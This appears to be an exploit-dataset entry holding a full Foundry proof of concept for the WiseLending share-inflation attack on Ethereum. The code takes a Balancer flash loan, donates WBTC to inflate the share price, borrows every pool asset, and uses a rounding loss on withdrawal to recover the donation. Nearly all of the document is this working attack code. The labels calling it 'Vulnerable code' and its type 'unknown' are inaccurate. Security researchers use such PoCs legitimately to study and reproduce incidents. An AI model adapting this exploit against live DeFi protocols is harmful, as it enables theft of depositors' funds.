HIGH severity: WiseLending exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~260K USD$ Attacker : c0ffeebabe.eth (wihtehat) Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809 (Mev Contract) Vulnerable Contract : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~260K USD$
// Attacker : c0ffeebabe.eth (wihtehat)
// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809 (Mev Contract)
// Vulnerable Contract : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674
// Attack Tx :https://etherscan.io/tx/0x7ac4a98599596adbf12fffa2bd23e2a2d2ac7e8989b6ea043fcc412a29126555

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674#code

// @Analysis
// Twitter Guy : https://twitter.com/bbbb/status/1712841315522638034
// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712871304993689709

interface IPositionNFTs {
    function mintPositionForUser(
        address _user
    ) external returns (uint256);
}

interface IWiseLending {
    function getTotalDepositShares(
        address _poolToken
    ) external view returns (uint256);
    function getPseudoTotalPool(
        address _poolToken
    ) external view returns (uint256);
    function depositExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
    function borrowExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
    function withdrawExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
}

contract ContractTest is Test {
    IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 aEthWETH = IERC20(0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8);
    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    IERC20 sDAI = IERC20(0x83F20F44975D03b1b09e64809B757c47f942BEeA);
    IERC20 aEthDAI = IERC20(0x018008bfb33d285247A21d44E50697654f754e63);
    IERC20 aEthUSDC = IERC20(0x98C23E9d8f34FEFb1B7BD6a91B7FF122F4e16F5c);
    IERC20 aEthUSDT = IERC20(0x23878914EFE38d27C4D67Ab83ed1b93A74D4086a);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07);
    IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674);
    Uni_Pair_V3 WETH_WBTC_Pair = Uni_Pair_V3(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD);
    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    Recover recover;

    function setUp() public {
        vm.createSelectFork("mainnet", 18_342_120);
        vm.label(address(WBTC), "WBTC");
        vm.label(address(wstETH), "wstETH");
        vm.label(address(WETH), "WETH");
        vm.label(address(aEthWETH), "aEthWETH");
        vm.label(address(DAI), "DAI");
        vm.label(address(sDAI), "sDAI");
        vm.label(address(aEthDAI), "aEthDAI");
        vm.label(address(aEthUSDC), "aEthUSDC");
        vm.label(address(aEthUSDT), "aEthUSDT");
        vm.label(address(USDC), "USDC");
        vm.label(address(PositionNFTs), "PositionNFTs");
        vm.label(address(WiseLending), "WiseLending");
        vm.label(address(WETH_WBTC_Pair), "WETH_WBTC_Pair");
        vm.label(address(Balancer), "Balancer");
    }

    function testExploit() public {
        WBTC.approve(address(WiseLending), type(uint256).max);

        address[] memory tokens = new address[](1);
        tokens[0] = address(WBTC);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 50 * 1e8;
        bytes memory userData = "";
        Balancer.flashLoan(address(this), tokens, amounts, userData);

        profitLog();
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        recover = new Recover();
        uint256 recoverID = recover.init(); // open recover position

        uint256 borrowerID = PositionNFTs.mintPositionForUser(address(this)); // open borrower position

        WiseLending.depositExactAmount(recoverID, address(WBTC), 1); // deposit 1 WBTC to recover, mint 1 share
        WiseLending.depositExactAmount(borrowerID, address(WBTC), 1); // deposit 1 WBTC to borrower, mint 1 share

        WBTC.transfer(address(WiseLending), 50 * 1e8 - 2); // donate ~50 WBTC to WiseLending, inflate share price

        borrowAll(borrowerID);

        recover.recover(); // recover donated WBTC

        int256 swapAmount = -int256(amounts[0] - WBTC.balanceOf(address(this)));
        WETH_WBTC_Pair.swap(
            address(this), false, swapAmount, uint160(35_991_486_685_722_499_892_781_286_346_438_453), ""
        ); // swap WETH to WBTC
        WBTC.transfer(address(Balancer), amounts[0]); // repay flash loan
    }

    function borrowAll(
        uint256 id
    ) internal {
        WiseLending.borrowExactAmount(id, address(wstETH), 33_538_664_799_002_267_467); // inflate share price in _coreBorrowTokens() , borrow all wstETH
        WiseLending.borrowExactAmount(id, address(WETH), 339_996_372_423_526_589);
        WiseLending.borrowExactAmount(id, address(aEthWETH), 98_969_695_913_405_122_899);
        WiseLending.borrowExactAmount(id, address(DAI), 200_094_287_736_946_980_059);
        WiseLending.borrowExactAmount(id, address(sDAI), 16_161_480_100_000_000_000_000);
        WiseLending.borrowExactAmount(id, address(aEthDAI), 1_302_840_070_263_627_457_089);
        WiseLending.borrowExactAmount(id, address(aEthUSDC), 5_108_839_054);
        WiseLending.borrowExactAmount(id, address(aEthUSDT), 26_082_605_241);
        WiseLending.borrowExactAmount(id, address(USDC), 50_000_000);
    }

    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
        WETH.transfer(address(WETH_WBTC_Pair), uint256(amount1Delta));
    }

    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        return this.onERC721Received.selector;
    }

    function profitLog() internal {
        emit log_named_decimal_uint(
            "Attacker wstETH balance after exploit", wstETH.balanceOf(address(this)), wstETH.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker aEthWETH balance after exploit", aEthWETH.balanceOf(address(this)), aEthWETH.decimals()
        );
        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
        emit log_named_decimal_uint(
            "Attacker sDAI balance after exploit", sDAI.balanceOf(address(this)), sDAI.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker aEthDAI balance after exploit", aEthDAI.balanceOf(address(this)), aEthDAI.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker aEthUSDC balance after exploit", aEthUSDC.balanceOf(address(this)), aEthUSDC.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker aEthUSDT balance after exploit", aEthUSDT.balanceOf(address(this)), aEthUSDT.decimals()
        );
        emit log_named_decimal_uint(
            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
    }
}

contract Recover {
    IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07);
    IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674);
    IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    uint256 public positionID;

    function init() external returns (uint256) {
        positionID = PositionNFTs.mintPositionForUser(address(this));
        return positionID;
    }

    function recover() external {
        while (WiseLending.getPseudoTotalPool(address(WBTC)) > 2_000_000) {
            uint256 recoverAmount =
                (WiseLending.getPseudoTotalPool(address(WBTC)) - 1) / WiseLending.getTotalDepositShares(address(WBTC)); // withdraw share amount = 0 due to precision loss
            WiseLending.withdrawExactAmount(positionID, address(WBTC), recoverAmount);
        }
        WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));
    }

    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        return this.onERC721Received.selector;
    }
}


Vulnerability type: unknown